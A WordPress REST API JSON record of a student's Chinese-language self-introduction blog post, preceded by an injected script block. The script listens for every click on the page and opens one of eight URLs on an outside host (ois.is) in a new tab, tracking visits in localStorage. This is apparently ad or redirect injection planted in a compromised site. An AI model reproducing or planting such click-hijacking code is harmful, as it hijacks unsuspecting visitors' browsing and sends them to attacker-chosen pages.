<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":386,"date":"2014-05-10T22:22:19","date_gmt":"2014-05-10T14:22:19","guid":{"rendered":"http:\/\/edu.secda.info\/scu8154133\/?p=386"},"modified":"2023-03-08T21:07:01","modified_gmt":"2023-03-08T13:07:01","slug":"%e8%87%aa%e6%88%91%e4%bb%8b%e7%bb%8d","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu8154133\/?p=386","title":{"rendered":"\u81ea\u6211\u4ecb\u7d39"},"content":{"rendered":"<hr \/>\n<p><span style=\"font-size: 14pt;\"><strong><span style=\"color: #0000ff;\">\u3010\u7c21\u8981\u4ecb\u7d39\u3011<\/span> <\/strong><\/span><\/p>\n<p><span style=\"font-size: 12pt; color: #808080;\">\u54c8\u56c9\uff0c\u6211\u662f\u5289\u5f08\u8fb0\uff0c\u76ee\u524d\u5c31\u8b80\u6771\u5433\u5927\u5b78\u570b\u8cbf\u7cfb\u56db\u5e74\u7d1a\uff0c\u8208\u8da3\u662f\u6253\u7403\u3001\u770b\u66f8\uff01<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-size: 14pt;\"><strong><span style=\"color: #0000ff;\">\u3010\u6211\u7684\u5b78\u7fd2\u7279\u8cea\u3011<\/span> <\/strong><\/span><\/p>\n<p><span style=\"color: #808080;\"><span style=\"caret-color: #808080;\">\u6211\u7684\u5b78\u7fd2\u7279\u8cea\u662f\u6a02\u65bc\u63a5\u53d7\u6311\u6230\uff0c\u9762\u5c0d\u56f0\u96e3\u6642\uff0c\u6703\u8a66\u8457\u627e\u51fa\u89e3\u6c7a\u65b9\u6848\u3002<\/span><\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-size: 14pt;\"><strong><span style=\"color: #0000ff;\">\u3010\u6211\u5728\u6027\u683c\u4e0a\u7684\u512a\u52e2\u3011<\/span><\/strong><\/span><\/p>\n<p><span style=\"font-size: 12pt; color: #808080;\">\u5c0d\u65bc\u4efb\u4f55\u4e8b\u60c5\u90fd\u4fdd\u6301\u7d30\u5fc3\u8b39\u614e\u7684\u614b\u5ea6\uff0c\u5c0d\u65bc\u7d30\u7bc0\u7d55\u5c0d\u4e0d\u99ac\u864e\uff01<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-size: 14pt;\"><strong><span style=\"color: #0000ff;\">\u3010\u6211\u8981\u6539\u5584\u7684\u5730\u65b9\u3011<\/span><\/strong><\/span><\/p>\n<p><span style=\"font-size: 12pt; color: #808080;\">\u5167\u5411\u662f\u6211\u9700\u8981\u6539\u5584\u7684\u5730\u65b9\uff0c\u591a\u53c3\u8207\u6d3b\u52d5\u8207\u64d4\u4efb\u5206\u7d44\u8b1b\u8005\u6709\u52a9\u65bc\u6211\u9762\u5c0d\u4eba\u7fa4\u6642\uff0c\u80fd\u66f4\u5bb9\u6613\u5730\u8868\u9054\u6211\u7684\u770b\u6cd5\u3002<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-size: 14pt;\"><strong><span style=\"color: #0000ff;\">\u3010\u6211\u7684\u5fd7\u9858\u3001\u8077\u696d\u65b9\u5411\u3011<\/span><\/strong><\/span><\/p>\n<p><span style=\"font-size: 12pt; line-height: 1.3em; color: #808080;\">\u672a\u4f86\u60f3\u5148\u9032\u5165\u7814\u7a76\u6240\uff0c\u57f9\u990a\u66f4\u5b8c\u6574\u7684\u5c08\u696d\u6280\u80fd\uff0c\u518d\u9032\u5165\u5177\u6709\u6311\u6230\u6027\u8207\u672a\u4f86\u767c\u5c55\u6027\u7684\u7522\u696d\uff01<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-size: 14pt;\"><strong><span style=\"color: #0000ff;\">\u3010\u5c0d\u81ea\u5df1\u7684\u671f\u8a31\u3011<\/span><\/strong><\/span><\/p>\n<p><span style=\"font-size: 12pt; line-height: 1.3em; color: #808080;\">\u201d Never say never. \u201d<\/span><\/p>\n<p><span style=\"font-size: 12pt; line-height: 1.3em; color: #808080;\">\u5e0c\u671b\u81ea\u5df1\u6c38\u4e0d\u653e\u68c4\uff0c\u4e0d\u7ba1\u9762\u5c0d\u591a\u5927\u7684\u56f0\u96e3\uff0c\u90fd\u80fd\u52c7\u65bc\u514b\u670d\uff0c\u5fc5\u5b9a\u6709\u610f\u60f3\u4e0d\u5230\u7684\u6536\u7a6b\uff01<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u3010\u7c21\u8981\u4ecb\u7d39\u3011 \u54c8\u56c9\uff0c\u6211\u662f\u5289\u5f08\u8fb0\uff0c\u76ee\u524d\u5c31\u8b80\u6771\u5433\u5927\u5b78\u570b\u8cbf\u7cfb\u56db\u5e74\u7d1a\uff0c\u8208\u8da3\u662f\u6253\u7403\u3001\u770b\u66f8\uff01<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[19],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu8154133\/index.php?rest_route=\/wp\/v2\/posts\/386"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu8154133\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu8154133\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154133\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154133\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=386"}],"version-history":[{"count":15,"href":"https:\/\/edu.secda.info\/scu8154133\/index.php?rest_route=\/wp\/v2\/posts\/386\/revisions"}],"predecessor-version":[{"id":949,"href":"https:\/\/edu.secda.info\/scu8154133\/index.php?rest_route=\/wp\/v2\/posts\/386\/revisions\/949"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu8154133\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=386"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154133\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=386"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154133\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=386"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}